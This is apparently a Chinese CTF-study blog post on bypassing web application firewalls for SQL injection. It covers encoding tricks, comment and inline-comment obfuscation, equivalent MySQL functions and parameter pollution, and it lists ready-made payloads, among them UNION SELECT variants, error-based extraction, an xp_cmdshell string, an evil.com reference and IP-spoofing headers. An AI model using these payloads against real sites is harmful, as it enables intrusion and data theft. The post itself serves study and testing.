8-WAF绕过

WAF

WAF部署

WAF常见功能

  • 总体来说,WAF(Web Application Firewall)的具有以下四个方面的功能:
    • 审计设备:用来截获所有HTTP数据或者仅仅满足某些规则的会话
    • 访问控制设备:用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式
    • 架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等
    • WEB应用加固工具:这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且能够保护WEB应用编程错误导致的安全隐患

WAF常见特点

  • 异常检测协议:拒绝不符合HTTP标准的请求
  • 增强的输入验证:代理和服务端的验证,而不只是限于客户端验证
  • 白名单&黑名单:白名单适用于稳定的Web应用,黑名单适合处理已知问题
  • 基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活
  • 状态管理:重点进行会话保护
  • 另还有:Coikies保护、抗入侵规避技术、响应监视和信息泄露保护等
  • WAF识别扫描器:
    1.扫描器指纹(head字段/请求参数值),以wvs为例,会有很明显的Acunetix在内的标识
    2.单IP+ cookie某时间段内触发规则次数(流量识别)
    3.隐藏的链接标签等()
    4.Cookie植入
    5.验证码验证,扫描器无法自动填充验证码
    6.单IP请求时间段内Webserver返回http状态404比例,因为扫描器探测敏感目录基于字典,找不到文件则返回404

WAF绕过

数据
  • 大小写,加密解密,替换关键字,编码解码,等价函数与命令,特殊符号,反序列化,注释符混用
大小写
  • 大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术
  • 某些数据库对大小写不敏感,例如mysql
  • 示例:SElect
编码解码
  • mysql支持url编码,十六进制编码
  • 普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过
    • %0a:换行符
    • %23:#
  • 十六进制编码
  • Unicode编码(宽字节绕过):Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了
    • 常用符号的Unicode编码:
      • 单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
      • 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
      • 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
      • 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
    • 其他比较多的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过
  • 常见的编码当然还有二进制、八进制,它们不一定都派得上用场
等价函数
  • 使用效果相同的其他函数,有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用
  • 函数或变量
    • select ==> handler
    • hex()、bin() ==> ascii()
    • sleep() ==>benchmark()
    • concat_ws()==>group_concat()
    • mid()、substr() ==> substring()
    • @@user ==> user()
    • @@datadir ==> datadir()
  • 符号
    • and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了
    • 在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/
  • 生僻函数
    • MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);
    • ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
    • SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
    • ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
  • MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大
特殊符号
  • 数据库里的一些特殊符号,加上去不会导致查询受到影响
  • 通过影响匹配规则实现绕过
  • 看具体数据库
  • 使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段
  • 使用反引号,例如selectversion(),可以用来过空格和正则,特殊情况下还可以将其做注释符用
  • 神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
  • @符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
  • Mysql function() as xxx 也可不用as和空格
  • 部分可能发挥大作用的字符(未包括'、*、/等在内,考虑到前面已经出现较多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00
  • 示例:
    • 关键字拆分:‘se’+’lec’+’t’
      • ‘se’+’lec’+’t’
      • id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
      • !和():' or --+2=- -!!!'2
      • id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔
  • 操作符参考:>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
反序列化
  • 前提:对方支持反序列化
注释符混用
  • 看具体数据库
  • 建议现在本地数据库上测试语句能不能执行
  • 常见的用于注释的符号:*//, -- , //, #, --+,-- -, ;,--a
  • mysql示例:
    1.普通注释
    • 例如database没被拦截,database()被拦截,说明这是整体拦截,可以database/**/()绕过
      • /**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别,相当于空格
    • 在mysql中%0a可编码为换行符,造成截断效果
      • 示例:id=1/%0a/union/%0a/select/%0a/1,2,3;
      • 可继续加干扰如:id=1/X%0a/union/X%0a/select/X%0a/1,2,3;
        2.内联注释
    • 相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别
    • 示例:
      • id=-15 /!UNION/ /!SELECT/ 1,2,3
      • id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…
方式
  • 更改提交方式,变异
其他
  • Fuzz大法,数据库特性,垃圾数据溢出,HTTP参数污染,整合绕过
Fuzz
  • 即模糊测试
  • 将一个地方作为支点使用脚本批量测试,看哪些语句没有被ban,相当于爆破
数据库特性
  • mysql特有:
    • 正常情况下/xxx/中xxx会被注释掉不会执行
    • 但如果是/50001 select * from test/
    • 该语句表示假如数据库是5.00.01版本以上,该语句就会被执行,在接收端眼里这条语句是注释,因此绕过,但能在mysql中执行,产生注入
HTTP参数污染
  • 这里HTTP参数控制除了对查询语句的参数进行篡改,还包括HTTP方法、HTTP头的控制
  • 不同服务器对相同参数的获取不一样
  • 示例:/?id=1&id=4&id=3
    • 有些是获取最后一个,有些是获取第一个,有些是获取全部,如下图所示
  • 攻击示例:
    • 获取全部:/?id=1/**/union/&id=/select/&id=/pwd/&id=/from/&id=/users
    • 获取
白名单
IP白名单
  • 只有相应的ip才能访问
  • 如果对方是从网络层获取ip,一般无法伪造,但如果是获取客户端的ip,就可能通过修改数据吧伪造IP绕过,一般服务器自己访问自己不会被拦截
  • 测试方法:修改数据包的header来绕过
    • X-forwarded-for
    • X-remote-IP
    • X-originating-IP
    • X-remote-addr
    • X-Real-IP
静态资源
  • 特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求
  • 示例:
url白名单
爬虫白名单
  • 部分waf有提供爬虫白名单(各大浏览器的爬虫)的功能,识别爬虫的技术一般有两种:
    1、根据useragent
    2、通过行为来判断
  • UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过
  • 有时候用扫描工具扫被拦截了,但是还是返回200产生误报,这时候修改UserAgent可能可以绕过,例如修改成百度的指纹,因为此时网站会识别为浏览器正常爬取网站,因此可能不会拦截
  • User Agent switcher (Firefox附加组件),下载地址:https : //addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/

示例讲解

  • -1 union a select 1,2,3#发现没有被拦截,改为-1 union%23a%0aselect 1,2,3#
    • 即-1 union #a换行符select 1,2,3#
      • 可以正常执行是因为#只注释所在行,换行符防止后面的语句被#干扰
  • id=-1/**&id=union%20select%201,2,3%23*/
    • 某些waf接收到的是id=1/**&id=-1%20union%20select%201,2,3%23/,例如19年的安全狗接收第一层,然后认为id=1后面那部分是注释就不管了,形成绕过,但php/apache脚本在第二层获取的是最后一个参数,即-1%20union%20select%201,2,3%23/,形成注入

可能问题

  • 网站标题出现Error Based String(基于字符串错误),说明是字符型
posted @ 2025-03-27 21:59  micryfotctf  阅读(157)  评论(0)    收藏  举报